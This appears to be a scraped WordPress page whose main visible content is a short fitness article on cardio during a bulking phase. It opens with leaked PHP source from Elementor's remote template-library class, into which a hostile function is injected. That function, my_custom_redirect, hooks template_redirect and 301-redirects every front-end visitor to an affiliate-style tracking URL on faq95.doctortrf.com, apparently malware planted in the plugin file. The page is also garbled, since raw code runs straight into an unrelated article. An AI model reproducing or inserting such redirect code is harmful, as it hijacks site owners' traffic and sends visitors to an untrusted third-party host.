function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); namespace Elementor\TemplateLibrary; use Elementor\Api; use Elementor\Core\Common\Modules\Connect\Module as ConnectModule; use Elementor\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor template library remote source. * * Elementor template library remote source handler class is responsible for * handling remote templates from Elementor.com servers. * * @since 1.0.0 */ class Source_Remote extends Source_Base { const API_TEMPLATES_URL = 'https://my.elementor.com/api/connect/v1/library/templates'; const TEMPLATES_DATA_TRANSIENT_KEY_PREFIX = 'elementor_remote_templates_data_'; public function __construct() { parent::__construct(); $this->add_actions(); } public function add_actions() { add_action( 'elementor/experiments/feature-state-change/container', [ $this, 'clear_cache' ], 10, 0 ); } /** * Get remote template ID. * * Retrieve the remote template ID. * * @since 1.0.0 * @access public * * @return string The remote template ID. */ public function get_id() { return 'remote'; } /** * Get remote template title. * * Retrieve the remote template title. * * @since 1.0.0 * @access public * * @return string The remote template title. */ public function get_title() { return esc_html__( 'Remote', 'elementor' ); } /** * Register remote template data. * * Used to register custom template data like a post type, a taxonomy or any * other data. * * @since 1.0.0 * @access public */ public function register_data() {} /** * Get remote templates. * * Retrieve remote templates from Elementor.com servers. * * @since 1.0.0 * @access public * * @param array $args Optional. Not used in remote source. * * @return array Remote templates. */ public function get_items( $args = [] ) { $force_update = ! empty( $args['force_update'] ) && is_bool( $args['force_update'] ); $templates_data = $this->get_templates_data( $force_update ); $templates = []; foreach ( $templates_data as $template_data ) { $templates[] = $this->prepare_template( $template_data ); } return $templates; } /** * Get remote template. * * Retrieve a single remote template from Elementor.com servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return array Remote template. */ public function get_item( $template_id ) { $templates = $this->get_items(); return $templates[ $template_id ]; } /** * Save remote template. * * Remote template from Elementor.com servers cannot be saved on the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param array $template_data Remote template data. * * @return \WP_Error */ public function save_item( $template_data ) { return new \WP_Error( 'invalid_request', 'Cannot save template to a remote source' ); } /** * Update remote template. * * Remote template from Elementor.com servers cannot be updated on the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param array $new_data New template data. * * @return \WP_Error */ public function update_item( $new_data ) { return new \WP_Error( 'invalid_request', 'Cannot update template to a remote source' ); } /** * Delete remote template. * * Remote template from Elementor.com servers cannot be deleted from the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error */ public function delete_template( $template_id ) { return new \WP_Error( 'invalid_request', 'Cannot delete template from a remote source' ); } /** * Export remote template. * * Remote template from Elementor.com servers cannot be exported from the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error */ public function export_template( $template_id ) { return new \WP_Error( 'invalid_request', 'Cannot export template from a remote source' ); } /** * Get remote template data. * * Retrieve the data of a single remote template from Elementor.com servers. * * @since 1.5.0 * @access public * * @param array $args Custom template arguments. * @param string $context Optional. The context. Default is `display`. * * @return array|\WP_Error Remote Template data. */ public function get_data( array $args, $context = 'display' ) { $data = Api::get_template_content( $args['template_id'] ); if ( is_wp_error( $data ) ) { return $data; } // Set the Request's state as an Elementor upload request, in order to support unfiltered file uploads. Plugin::$instance->uploads_manager->set_elementor_upload_state( true ); // BC. $data = (array) $data; $data['content'] = $this->replace_elements_ids( $data['content'] ); $data['content'] = $this->process_export_import_content( $data['content'], 'on_import' ); $post_id = $args['editor_post_id']; $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data['content'] = $document->get_elements_raw_data( $data['content'], true ); } // After the upload complete, set the elementor upload state back to false Plugin::$instance->uploads_manager->set_elementor_upload_state( false ); return $data; } /** * Get templates data from a transient or from a remote request. * In any of the following 2 conditions, the remote request will be triggered: * 1. Force update - "$force_update = true" parameter was passed. * 2. The data saved in the transient is empty or not exist. * * @param bool $force_update * @return array */ private function get_templates_data( bool $force_update ) : array { $templates_data_cache_key = static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $experiments_manager = Plugin::$instance->experiments; $editor_layout_type = $experiments_manager->is_feature_active( 'container' ) ? 'container_flexbox' : ''; if ( $force_update ) { return $this->get_templates( $editor_layout_type ); } $templates_data = get_transient( $templates_data_cache_key ); if ( empty( $templates_data ) ) { return $this->get_templates( $editor_layout_type ); } return $templates_data; } /** * Get the templates from a remote server and set a transient. * * @param string $editor_layout_type * @return array */ private function get_templates( string $editor_layout_type ): array { $templates_data_cache_key = static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $templates_data = $this->get_templates_remotely( $editor_layout_type ); if ( empty( $templates_data ) ) { return []; } set_transient( $templates_data_cache_key, $templates_data, 12 * HOUR_IN_SECONDS ); return $templates_data; } /** * Fetch templates from the remote server. * * @param string $editor_layout_type * @return array|false */ private function get_templates_remotely( string $editor_layout_type ) { $response = wp_remote_get( static::API_TEMPLATES_URL, [ 'body' => [ 'plugin_version' => ELEMENTOR_VERSION, 'editor_layout_type' => $editor_layout_type, ], ] ); if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) { return false; } $templates_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $templates_data ) || ! is_array( $templates_data ) ) { return []; } return $templates_data; } /** * @since 2.2.0 * @access private */ private function prepare_template( array $template_data ) { $favorite_templates = $this->get_user_meta( 'favorites' ); // BC: Support legacy APIs that don't have access tiers. if ( isset( $template_data['access_tier'] ) ) { $access_tier = $template_data['access_tier']; } else { $access_tier = 0 === $template_data['access_level'] ? ConnectModule::ACCESS_TIER_FREE : ConnectModule::ACCESS_TIER_ESSENTIAL; } return [ 'template_id' => $template_data['id'], 'source' => $this->get_id(), 'type' => $template_data['type'], 'subtype' => $template_data['subtype'], 'title' => $template_data['title'], 'thumbnail' => $template_data['thumbnail'], 'date' => $template_data['tmpl_created'], 'author' => $template_data['author'], 'tags' => json_decode( $template_data['tags'] ), 'isPro' => ( '1' === $template_data['is_pro'] ), 'accessLevel' => $template_data['access_level'], 'accessTier' => $access_tier, 'popularityIndex' => (int) $template_data['popularity_index'], 'trendIndex' => (int) $template_data['trend_index'], 'hasPageSettings' => ( '1' === $template_data['has_page_settings'] ), 'url' => $template_data['url'], 'favorite' => ! empty( $favorite_templates[ $template_data['id'] ] ), ]; } public function clear_cache() { delete_transient( static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION ); } } How Important Is Cardio During a Bulking Phase? – LC Sistemas

How Important Is Cardio During a Bulking Phase?

When it comes to building muscle, many lifters often question the role of cardiovascular exercise during a bulking phase. The primary goal during this phase is to gain muscle mass, but understanding the benefits of cardio can enhance results and maintain overall health.

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The Benefits of Cardio During Bulking

Incorporating cardio into your bulking routine can provide multiple advantages:

  1. Improved Heart Health: Engaging in regular cardiovascular exercise helps maintain heart health, which is crucial as muscle mass increases.
  2. Enhanced Recovery: Cardio can aid recovery by increasing blood flow, which delivers nutrients to muscles and helps remove waste products.
  3. Appetite Regulation: Light to moderate cardio can stimulate appetite, making it easier to consume additional calories needed for bulking.
  4. Minimized Fat Gain: Balancing calorie intake with some cardio can help limit excessive fat gain typically associated with a bulking phase.

Finding the Right Balance

While cardio is beneficial, it’s important to strike a balance between cardiovascular and resistance training:

  1. Frequency: Incorporate cardio 2-3 times a week for optimal benefits without compromising muscle gain.
  2. Intensity: Choose lower to moderate intensity to avoid affecting your strength training and recovery adversely.
  3. Type: Opt for activities that you enjoy, such as cycling, swimming, or brisk walking, to make it a sustainable part of your routine.

In conclusion, cardio can play an important role in a bulking phase when done correctly. It not only supports heart health and recovery but also aids in managing body composition. Remember to listen to your body and adjust the intensity and frequency of cardio workouts as necessary to preserve muscle gains while achieving overall fitness.